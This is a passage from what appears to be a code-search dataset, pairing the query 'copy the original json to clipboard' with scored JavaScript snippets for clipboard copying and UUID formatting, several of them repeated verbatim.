bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" }, { "docid": "75ad291732cbed262e646990b763d218", "score": "0.43729174", "text": "function unparse(buf, offset) {\n var i = offset || 0, bth = _byteToHex;\n return bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] + '-' +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]] +\n bth[buf[i++]] + bth[buf[i++]];\n }", "title": "" } ]
80bab104c2c05af09278483c67563b4c
copy the original json to clipboard
[ { "docid": "b9ba390389d95b64d026086cb5142e31", "score": "0.7018779", "text": "function copyResultToClipboard() {\n var _e=$('#tOriResult');\n var _success=false;\n\n _e[0].className='showing';\n _e[0].select();\n _success=document.execCommand('copy');\n _e[0].className='hiding';\n\n if (_success==true) {\n alert('original json copied to clipboard');\n } else {\n alert('something wrong, could not copy the json response to clipboard');\n }\n}", "title": "" } ]
[ { "docid": "e07809b7801e93eb008de94b066d28bb", "score": "0.66778016", "text": "copyToClipBoard (key) {\n const val = _this.state[key]\n var textArea = document.createElement('textarea')\n textArea.value = val // copyText.textContent;\n document.body.appendChild(textArea)\n textArea.select()\n document.execCommand('Copy')\n textArea.remove()\n }", "title": "" }, { "docid": "7e0cb85cbd5d8629cb34958a50d2009e", "score": "0.65531325", "text": "_copyToClipboard(ev) {\n const $button = $(ev.target).closest('button');\n const dType = $button.attr('dType');\n const disposition = $button.attr('disposition');\n // save the data first because we take it from the object in the backend\n this.submit({}).then(() => {\n const data = this._getSetting(dType === 'gm' ? TTAConstants.SETTING_KEYS.GM_SETTINGS : TTAConstants.SETTING_KEYS.PLAYER_SETTINGS);\n const settings = data[this?.object?.actorType];\n const { items } = settings;\n const from = items.find((i) => i.disposition === disposition);\n this._setSetting(TTAConstants.SETTING_KEYS.CLIPBOARD, from?.items).then(() => debug(from?.items));\n });\n }", "title": "" }, { "docid": "cd6015bd0d10f9a79e2d3bfb3fb313ab", "score": "0.64549565", "text": "function copy() {\n\n\t\tconst value = BG.Result.get();\n\n\t\tconst el = document.createElement('textarea');\n\t\tdocument.body.appendChild(el);\n\t\tel.value = value;\n\t\tel.select();\n\t\tdocument.execCommand('copy');\n\t\tdocument.body.removeChild(el);\n\n\t\tsource.focus();\n\n\t}", "title": "" }, { "docid": "c54af2bcb2e17375a3b36a4d693ecc93", "score": "0.640957", "text": "copyToClipboard() {\n Clipboard.copy(this.state.output);\n }", "title": "" }, { "docid": "3332033572b7c7c81657502a1c4f23ee", "score": "0.63219947", "text": "function copyToClipboard(event) {\n textInputRef.current.select()\n document.execCommand('copy')\n event.target.focus()\n }", "title": "" }, { "docid": "7e9f7ed0c17b25c8797c94f07b91c565", "score": "0.630076", "text": "function copyToClipboard() {\n chrome.extension.sendRequest({name: \"copyToClipboard\", text: elements.modal.box.find('textarea').attr('value')}, function(response){});\n}", "title": "" }, { "docid": "72b48e6b84ac009b5bbe227faec4374b", "score": "0.6252312", "text": "function pastFromClipboard(){\n chrome.tabs.executeScript({\n code: \"document.execCommand('paste');\"\n });\n}", "title": "" }, { "docid": "86e5c7f4dfa348b1107746ee019f341f", "score": "0.6247276", "text": "copyToClipBoard (val) {\n const textArea = document.createElement('textarea')\n textArea.value = val // copyText.textContent;\n document.body.appendChild(textArea)\n textArea.select()\n document.execCommand('Copy')\n textArea.remove()\n }", "title": "" }, { "docid": "986058098b720df1b8582de777b4a8f9", "score": "0.62467265", "text": "copy() {\n if (this.#activeEditor) {\n this.#clipboardManager.copy(this.#activeEditor);\n }\n }", "title": "" }, { "docid": "79f6ee0462da0d66de058bafaab07a18", "score": "0.62406456", "text": "async _pasteFromClipboard(ev) {\n const $button = $(ev.target).closest('button');\n const dType = $button.attr('dType');\n const disposition = $button.attr('disposition');\n const data = this._getSetting(dType === 'gm' ? TTAConstants.SETTING_KEYS.GM_SETTINGS : TTAConstants.SETTING_KEYS.PLAYER_SETTINGS);\n const settings = data[this?.object?.actorType];\n const { items } = settings;\n const to = items.find((i) => i.disposition === disposition);\n const clipboardData = this._getSetting(TTAConstants.SETTING_KEYS.CLIPBOARD);\n if (!clipboardData || !clipboardData.length) { return; }\n to.items = clipboardData;\n await this._setSetting(dType === 'gm' ? TTAConstants.SETTING_KEYS.GM_SETTINGS : TTAConstants.SETTING_KEYS.PLAYER_SETTINGS, data);\n // render the form to save the new data\n this.render();\n debug({ clipboardData });\n }", "title": "" }, { "docid": "e727af44c03463b59fd0c807d4fba4ad", "score": "0.62216836", "text": "function copySelectedShapeToClipboard(){\n\tclipboardShape = jQuery.extend(true, {}, shapes[currentSelectedShapeIndex]);\n}", "title": "" }, { "docid": "1b6c4eef72fb01b4f7ed9084a0595316", "score": "0.6219486", "text": "function copyToClipboard(e) {\n e.preventDefault();\n // textAreaRef.current.select();\n // document.execCommand('copy');\n // This is just personal preference.\n // I prefer to not show the the whole text area selected.\n fetchUrl();\n console.log(url);\n e.target.focus();\n }", "title": "" }, { "docid": "a4e2501c74fb246aa4f535ef0f79dcb9", "score": "0.62044126", "text": "copyToClipboard() {\n this.el.select()\n this.el.setSelectionRange(0, 99999)\n document.execCommand('copy')\n }", "title": "" }, { "docid": "df2982efd6874dfe7d677ccbc3efe48b", "score": "0.61634886", "text": "copy(ev){\n ev.preventDefault();\n var el = document.createElement('textarea');\n el.value = this.props.copyText;\n el.setAttribute('readonly', '');\n el.style = {position: 'absolute', left: '-9999px'};\n document.body.appendChild(el);\n el.select();\n document.execCommand('copy');\n document.body.removeChild(el);\n this.setState( { error : 'successfully copied'})\n }", "title": "" }, { "docid": "22b2464f3a6559b64b1680a1e523c635", "score": "0.6157528", "text": "function copyBoltToClipboard() {\n var range = document.createRange();\n range.selectNode(get_elem('bolt11_inv'));\n window.getSelection().addRange(range);\n document.execCommand(\"copy\");\n\n // Remove selection\n var sel = window.getSelection ? window.getSelection() : document.selection;\n if (sel) {\n if (sel.removeAllRanges) {\n sel.removeAllRanges();\n } else if (sel.empty) {\n sel.empty();\n }\n }\n}", "title": "" }, { "docid": "79b8c211f9e98e86d963476afc73c20d", "score": "0.6135358", "text": "copyToClipBord(){\n let input = document.createElement('input');\n input.value = this.displayCal;\n document.body.appendChild(input);\n input.select();\n document.execCommand(\"Copy\");\n input.remove();\n }", "title": "" }, { "docid": "8fa04ae162f1635c406c863227d6b916", "score": "0.6108675", "text": "function storytellerCopy() {\n \n //console.log(\"Storyteller Copy\");\n\n //get the events that were copied and then execute vs code's copy command\n //we override the default behavior of copying a whole line when no text is selected\n //nothing will be copied unless there is a selection\n getCurrentSelectionEvents(\"editor.action.clipboardCopyAction\");\n}", "title": "" }, { "docid": "cd831025783e580eb6aeb4fe6f306dcd", "score": "0.60976857", "text": "function clipboardSetMultiple(data) {\n electron_1.clipboard.clear();\n electron_1.clipboard.write(data);\n}", "title": "" }, { "docid": "5714959c2084e645be52ca96227aa1f8", "score": "0.60894954", "text": "function copyToClipboard()\r\n {\r\n $('#templateTextarea').select();\r\n }", "title": "" }, { "docid": "4e5d167320a83babe4fac161fbedcc81", "score": "0.6083745", "text": "copyToClipboard(event) {\n const el = document.createElement('textarea'); // Create a <textarea> element\n el.value = this.state.account; // Set its value to the string that you want copied\n el.setAttribute('readonly', ''); // Make it readonly to be tamper-proof\n el.style.position = 'absolute'; \n el.style.left = '-9999px'; // Move outside the screen to make it invisible\n document.body.appendChild(el); // Append the <textarea> element to the HTML document\n const selected = \n document.getSelection().rangeCount > 0 // Check if there is any content selected previously\n ? document.getSelection().getRangeAt(0) // Store selection if found\n : false; // Mark as false to know no selection existed before\n el.select(); // Select the <textarea> content\n if (document.execCommand('copy')) { // Copy - only works as a result of a user action (e.g. click events)\n document.getElementById(\"addrCopied\").innerHTML = \"copied!\";\n document.getElementById(\"addrCopied\").style.color = \"#6fec75\";\n }\n else {\n document.getElementById(\"addrCopied\").innerHTML = \"not copied\";\n document.getElementById(\"addrCopied\").style.color = \"#ec6f6f\";\n }\n document.body.removeChild(el); // Remove the <textarea> element\n if (selected) { // If a selection existed before copying\n document.getSelection().removeAllRanges(); // Unselect everything on the HTML document\n document.getSelection().addRange(selected); // Restore the original selection\n }\n }", "title": "" }, { "docid": "56abb1793a97e7633d3bc36f7a42a54e", "score": "0.6035089", "text": "copyText() {\n const textToCopy = this.text || this.textWrapper.innerText;\n this.contentToClipboard(textToCopy);\n }", "title": "" }, { "docid": "90ea7f4f7caf76549620ec4191dd7fac", "score": "0.60333174", "text": "function FP_RCLIP_PRIVATE_CopyToClipboard( thisObject )\n//#else\n//# function FP_RCLIP_PRIVATE_CopyToClipboard( thisObject:FP_RCLIP_Object )\n//#endif \n{\n var arrayData = thisObject.arrayAllItems;\n var intItemCount = thisObject.intItemCount;\n var strReplaceCR = thisObject.strReplaceCR;\n var strReplaceLF = thisObject.strReplaceLF;\n var intItem = 0;\n var strData = \"\";\n\n\tfor (intItem = 1; intItem <= intItemCount ; intItem++)\n\t{\n\t\tstrData += VF_System.FormatTABItemCells(arrayData[intItem].arrayCells, strReplaceCR, strReplaceLF, \"\\x0D\\x0A\");\n\t}\n\n /*VF_System.objMainWindow.clipboardData.clearData(\"Text\");*/\n if (VF_System.usingExplorer)\n {\n VF_System.objMainWindow.clipboardData.setData(\"Text\", strData);\n }\n\n}", "title": "" }, { "docid": "0a5c4199d5776dca88d2ad6aa8ee1ce4", "score": "0.60025275", "text": "function copyWallet() {\nlet copyAddres = document.getElementById(\"walletAddress\");\ncopyAdress.onclick = walletAddress\n\ncopyAddress.select();\ncopyAddress.setSelectionRange(0, 99999);\n\nnavigator.clipboard.writeText(copyAddress.value);\n}", "title": "" }, { "docid": "09619361d67439f047b65169c60ab814", "score": "0.59873015", "text": "function copyToClipboard(elToCopy) {\n var copyObj = elToCopy;\n copyObj.select();\n document.execCommand(\"Copy\");\n console.log('Copied to clipboard: ' + elToCopy.value);\n document.querySelector(\".btn-copy-url\").innerText = 'Copied!';\n\n}", "title": "" }, { "docid": "a208281857bacb2e3502fb061724009c", "score": "0.59615487", "text": "function saveToClipboard () {\n // the range node must be in the DOM to work, this output element is [display: none];\n output.textContent = editor.toString();\n let range = document.createRange();\n range.selectNode(output);\n window.getSelection().addRange(range);\n try {\n document.execCommand('copy');\n saveBtn.className = 'success';\n } catch (e) {\n saveBtn.className = 'failed';\n }\n // display for 3 seconds\n setTimeout(() => saveBtn.className = '', 1500);\n window.getSelection().removeAllRanges();\n}", "title": "" }, { "docid": "bdaa162ba70139c1b9c6b85b610aa361", "score": "0.5929882", "text": "function copyToClipboard(element) {\n var $temp = $(\"<textarea>\");\n $(\"body\").append($temp);\n $temp.val($(element).text()).select();\n document.execCommand(\"copy\");\n $temp.remove();\n }", "title": "" }, { "docid": "08bf700ce2dd50af210e2e6742551f7c", "score": "0.5928551", "text": "function copy(e){\n const element = getId(e);\n const output = document.getElementById(element + \"-output\");\n output.select();\n output.setSelectionRange(0, 99999);\n document.execCommand(\"copy\");\n return false;\n}", "title": "" }, { "docid": "2ddd093957799ceb3dc4467de19120c7", "score": "0.59196395", "text": "static copyToClipboard(text) {\n let content = document.createElement('textarea');\n content.value = text;\n content.setAttribute('id', 'tempForCopy');\n content.setAttribute('readonly', '');\n document.body.appendChild(content);\n let copyTextarea = document.querySelector('tempForCopy');\n copyTextarea.focus();\n copyTextarea.select();\n try {\n let successful = document.execCommand('copy');\n } catch (err) {\n console.log('Oops, unable to copy');\n } finally {\n document.body.removeChild(content);\n }\n }", "title": "" }, { "docid": "8ce32d5f213b7de72fcf81b8bf4d19c6", "score": "0.5919031", "text": "function generateHtmltoClipboard(arrObj){\n\n var wbListHtml = \"<h2>我的微博 \" + $('#ap_start_date').val() + \" - \" + $('#ap_end_date').val() + \"</h2>\";\n $.each(arrObj, function(i, item){\n wbListHtml += \"<li>\";\n wbListHtml += \"<p>\" + parseJsonDate(item['created_at']) + \"</p>\";\n wbListHtml += replaceURLWithHTMLLinks(item['text']);\n if(item['thumbnail_pic']) {\n wbListHtml += \"<p><a href=\\\"\" +item['original_pic'] +\"\\\" target=\\\"_blank\\\"><img src='\" + item['thumbnail_pic'] +\"'></a></p>\";\n }\n \n if(item['retweeted_status']) {\n \n var rt_tweet = item['retweeted_status'];\n var rt_user = rt_tweet['user'];\n var rt_user_name = (typeof rt_user === \"undefined\" ? \"\" : rt_user['name']); \n wbListHtml += \"//RT@\" + rt_user_name + \": \" + replaceURLWithHTMLLinks(rt_tweet['text']);\n if(rt_tweet['thumbnail_pic']) {\n wbListHtml += \"<p><a href=\\\"\" +rt_tweet['original_pic'] +\"\\\" target=\\\"_blank\\\"><img src='\" + rt_tweet['thumbnail_pic'] +\"'></a></p>\";\n }\n }\n wbListHtml += \"</li>\";\n }); \n \n var outputHtml = \"<ol>\" + wbListHtml + \"</ol>\";\n // outputHtml = outputHtml.replace(/([uE000-uF8FF]|uD83C[uDF00-uDFFF]|uD83D[uDC00-uDDFF])/g, '');\n $('#copy_board textarea.generated').val(outputHtml);\n \n ZeroClipboard.setDefaults( { moviePath: 'http://weibo.hfknight.com/js/ZeroClipboard.swf' } );\n //create client\n var clip = new ZeroClipboard($(\"#copy_action\"));\n \n clip.on( 'dataRequested', function (client, args) {\n client.setText(outputHtml);\n }); \n clip.on( 'complete', function ( client, args ) {\n //alert(\"Copied text to clipboard: \" + args.text );\n $(\"#copy_action\").button('complete');\n } );\n}", "title": "" }, { "docid": "91ff8d882eeb2d8cd46264f90b47c1fd", "score": "0.59057754", "text": "function copyToClipboard(texto) { //U: pone texto en el clipboard\n\tif (CopyToClipboardEl==null) {\n\t\tCopyToClipboardEl= document.createElement(\"textarea\"); \t\n\t\tCopyToClipboardEl.style.height=\"0px\"; \n\t\tCopyToClipboardEl.style.position= \"fixed\"; \n\t\tCopyToClipboardEl.style.bottom= \"0\"; \n\t\tCopyToClipboardEl.style.left= \"0\"; \n\t\tdocument.body.append(CopyToClipboardEl);\n\t}\n\tCopyToClipboardEl.value= texto;\t\n\tCopyToClipboardEl.textContent= texto;\t\n\tCopyToClipboardEl.select();\n\tconsole.log(\"COPY \"+document.execCommand('copy')); \n\tdocument.getSelection().removeAllRanges();\n}", "title": "" }, { "docid": "b97792b47c951db4348873b0910ba10f", "score": "0.58989406", "text": "function copyToClipBoard(id) {\r\n var $temp = $(\"<input>\");\r\n $(\"body\").append($temp);\r\n $temp.val($('#childAddresses'+id).text()).select();\r\n document.execCommand(\"copy\");\r\n $temp.remove();\r\n}", "title": "" }, { "docid": "381bef53ce1273a521dc09786427a895", "score": "0.5858513", "text": "clearClipboard() {\n this.clipboard.itemObject = {};\n this.clipboard.itemCoords = []\n }", "title": "" }, { "docid": "a72dd89efc9fba9f15f63af4ff7cbe38", "score": "0.58368117", "text": "function copyToClipboard() {\n const copyText = showColorCodes;\n const input = document.createElement('textarea');\n\n if (!navigator.clipboard) {\n // use this old method for old browsers\n\n input.value = copyText.textContent;\n document.body.appendChild(input);\n input.select();\n document.execCommand('Copy');\n input.remove();\n alert('Copied to clipboard: ' + input.value);\n } else {\n // Modern method for new browsers\n\n navigator.clipboard\n .writeText(showColorCodes.textContent)\n .then(function () {\n alert('Copied to clipboard: ' + showColorCodes.textContent);\n })\n .catch(function (error) {\n alert(error);\n });\n }\n}", "title": "" }, { "docid": "b4a22ffec8882b05af9b21190245382b", "score": "0.5835788", "text": "function activate(context) {\n // The command has been defined in the package.json file\n // Now provide the implementation of the command with registerCommand\n // The commandId parameter must match the command field in package.json\n let disposable = vscode.commands.registerCommand('urltojson.urltojson', () => {\n let textEditor = vscode.window.activeTextEditor;\n if (textEditor != null) {\n let selection = textEditor.selection;\n if (!selection.isEmpty) {\n let range = new vscode.Range(selection.start, selection.end);\n let text = range ? textEditor.document.getText(range).trim() : \"\";\n let isAWS = text.indexOf(\".amazonaws.com\") >= 0;\n let isPHP = text.indexOf(\"/rest/mobile/\") >= 0;\n let tempItems = [];\n let items = [];\n if (isAWS) {\n let delimiterPos = text.indexOf(\"?\");\n let queryString = text.substr(delimiterPos + 1, text.length - (delimiterPos - 1));\n tempItems = queryString.split(\"&\");\n for (let i = 0; i < tempItems.length; i++) {\n let params = tempItems[i].split(\"=\");\n items.push(createJsonPropertyValue(params[0], params[1]));\n }\n writeIntoClipboard(items);\n }\n else if (isPHP) {\n let delimiterPos = text.indexOf(\"/rest/mobile/\");\n let queryString = text.substr(delimiterPos + 13, text.length - (delimiterPos - 1));\n tempItems = queryString.split(\"/\");\n for (let i = 0; i < tempItems.length; i = (i + 2)) {\n items.push(createJsonPropertyValue(tempItems[i], tempItems[i + 1]));\n }\n writeIntoClipboard(items);\n }\n else {\n vscode.window.showInformationMessage('Padrão de URL não identificado!');\n }\n }\n }\n });\n function writeIntoClipboard(items) {\n let finalJson = buildStringToJson(items);\n vscode.env.clipboard.writeText(finalJson)\n .then((text) => {\n vscode.window.showInformationMessage('Conteúdo disponível na área de transferência!');\n });\n }\n function buildStringToJson(items) {\n return `{\\n ${items.join(',\\n ')}\\n}`;\n }\n function createJsonPropertyValue(propertyName, propertyValue) {\n return `'${propertyName}': '${propertyValue}'`;\n }\n context.subscriptions.push(disposable);\n}", "title": "" }, { "docid": "ebe0478f1c77b3a0a6cfe5de3034b71f", "score": "0.5825318", "text": "function cloneJSON(json) {\n return JSON.parse(JSON.stringify(json));\n }", "title": "" }, { "docid": "7ad896413e3ea381b8408a9484882f7e", "score": "0.580893", "text": "function storytellerPaste() {\n \n //console.log(\"Storyteller Paste\");\n \n //indicate that there was a paste operation\n clipboardData.activePaste = true;\n\n //let the editor execute the paste\n vscode.commands.executeCommand(\"editor.action.clipboardPasteAction\");\n}", "title": "" }, { "docid": "24bffbbee71bc8673de4e85e7e7055db", "score": "0.5786211", "text": "function copyToClipboard(text) {\n window.open(text, '_blank');\n //window.prompt(\"To see the data source, please copy the link below to the clipboard\\n\\n Ctrl+C (Windows) or Cmd+C (Mac), Enter\\n\\nand paste it to your browser's address bar.\", text);\n}", "title": "" }, { "docid": "78ac3ba117769e71e6adea5ef6df558a", "score": "0.5783597", "text": "function copyToClipboard(text) {\n var selected = false\n var el = document.createElement('textarea')\n el.value = text\n el.setAttribute('readonly', '')\n el.style.position = 'absolute'\n el.style.left = '-9999px'\n document.body.appendChild(el)\n if (document.getSelection().rangeCount > 0) {\n selected = document.getSelection().getRangeAt(0)\n }\n el.select()\n document.execCommand('copy')\n document.body.removeChild(el)\n if (selected) {\n document.getSelection().removeAllRanges()\n document.getSelection().addRange(selected)\n }\n}", "title": "" }, { "docid": "c79002c3f0371a223bd3e75882703854", "score": "0.57622075", "text": "function copyToClipboard(elem) {\n // create hidden text element, if it doesn't already exist\n var targetId = \"_hiddenCopyText_\";\n var isInput = elem.tagName === \"INPUT\" || elem.tagName === \"TEXTAREA\";\n var origSelectionStart, origSelectionEnd;\n if (isInput) {\n // can just use the original source element for the selection and copy\n target = elem;\n origSelectionStart = elem.selectionStart;\n origSelectionEnd = elem.selectionEnd;\n } else {\n // must use a temporary form element for the selection and copy\n target = document.getElementById(targetId);\n if (!target) {\n var target = document.createElement(\"textarea\");\n target.style.position = \"absolute\";\n target.style.left = \"-9999px\";\n target.style.top = \"0\";\n target.id = targetId;\n document.body.appendChild(target);\n }\n target.textContent = elem.textContent;\n }\n // select the content\n var currentFocus = document.activeElement;\n target.focus();\n target.setSelectionRange(0, target.value.length);\n\n // copy the selection\n var succeed;\n try {\n succeed = document.execCommand(\"copy\");\n } catch(e) {\n succeed = false;\n }\n // restore original focus\n if (currentFocus && typeof currentFocus.focus === \"function\") {\n currentFocus.focus();\n }\n\n if (isInput) {\n // restore prior selection\n elem.setSelectionRange(origSelectionStart, origSelectionEnd);\n } else {\n // clear temporary content\n target.textContent = \"\";\n }\n return succeed;\n}", "title": "" }, { "docid": "091dab48c9d3f7cc47ff7758ecf38d22", "score": "0.57580364", "text": "setWindowClipboardData(e) {\n const clipboardData = window.clipboardData\n if (clipboardData && clipboardData.getData) {\n const text = clipboardData.getData(\"Text\")\n this.insertPlainTextAtCursor(text);\n return true\n } else {\n return false\n }\n }", "title": "" }, { "docid": "f6405eeac933d7e437387b035f8ad7e7", "score": "0.57455134", "text": "function copyToClipboard(text) {\n let input = document.createElement(\"input\");\n document.body.appendChild(input);\n input.value = text;\n input.select();\n document.execCommand(\"copy\", false);\n input.remove();\n alert(\"Source URL copied to clipboard!!!\");\n}", "title": "" }, { "docid": "fbafc53a8b52a9df59bb786c91be1991", "score": "0.5733951", "text": "function clipboard(linkToBeCopied){\n let textArea = document.createElement('textarea');\n textArea.width = \"1px\"; \n textArea.height = \"1px\";\n textArea.background = \"transparent\" ;\n textArea.value = linkToBeCopied;\n document.body.append(textArea);\n textArea.select();\n document.execCommand('copy');\n document.body.removeChild(textArea);\n}", "title": "" }, { "docid": "25fa8643c35a6e16c1d298f8c731ccd5", "score": "0.5732031", "text": "copyRoomId() {\n navigator.clipboard\n .writeText(this.roomId)\n .then(() => console.log('copied'))\n .catch((e) => console.error(e));\n }", "title": "" }, { "docid": "04c538839c281714fc95cbe176c98a41", "score": "0.57317173", "text": "function copyToClipboard(data) {\n \n (async()=>\n {\n await navigator.clipboard.writeText(data.trim());\n alert(\"Copied to clipboard!\");\n })();\n \n // Fixed error regarding document not in focus.\n}", "title": "" }, { "docid": "57cdccc57e53284058a1f565d55253b3", "score": "0.5728839", "text": "function paste(shapejs){\n\t\tvar canvas = shapejs.canvas;\n\t\tvar copiedObjects = shapejs.copiedObjects;\n for(var i in copiedObjects){\n \tpasteObject(shapejs, copiedObjects[i])\n }\n //needed to render all obj (check pasteObject)\n\t canvas.renderAll(); \n\t}", "title": "" }, { "docid": "a39de6737548f7e32ac8bebb9864b32a", "score": "0.5717314", "text": "function Copy() {\n\tlet input = this.parentElement.parentElement.querySelector('input');\n\tinput.select();\n\tinput.setSelectionRange(0, 99999);\n\tdocument.execCommand(\"copy\");\n}", "title": "" }, { "docid": "2a9525fdd21bb363ae1759cdb45f307d", "score": "0.5716356", "text": "function Clipboard(parent){_classCallCheck(this,Clipboard);this.copyContent='';this.isSelect=false;this.parent=parent;this.addEventListener();}", "title": "" }, { "docid": "bdae68583f3e5b0f52b848ad6fc9148d", "score": "0.57039875", "text": "function copyToClipboard(link){\n \tvar copyDiv = document.createElement('div');\n \tcopyDiv.contentEditable = true;\n \tdocument.body.appendChild(copyDiv);\n copyDiv.innerHTML = link;\n \tcopyDiv.unselectable = \"off\";\n copyDiv.focus();\n \tdocument.execCommand('SelectAll');\n \tdocument.execCommand(\"Copy\", false, null);\n \tdocument.body.removeChild(copyDiv);\n \twindow.scroll(0, 0);\n }", "title": "" }, { "docid": "0bf37d0ef5994fc6732cec4fde697fbf", "score": "0.57002926", "text": "function btnCopy_OnTouch()\n{\n\tapp.SetClipboardText( editSamp.GetText() );\n\tapp.ShowPopup( \"Sample copied to clipboard\" );\n}", "title": "" }, { "docid": "856b0cf23c248941b0f406d0fd842db8", "score": "0.5699489", "text": "function makeCopy(board) {\n return JSON.parse(JSON.stringify(board));\n}", "title": "" }, { "docid": "ef878c7f2febc5e7afd825797ccc0e14", "score": "0.569321", "text": "function copyToClipboard(text) {\n\t// create 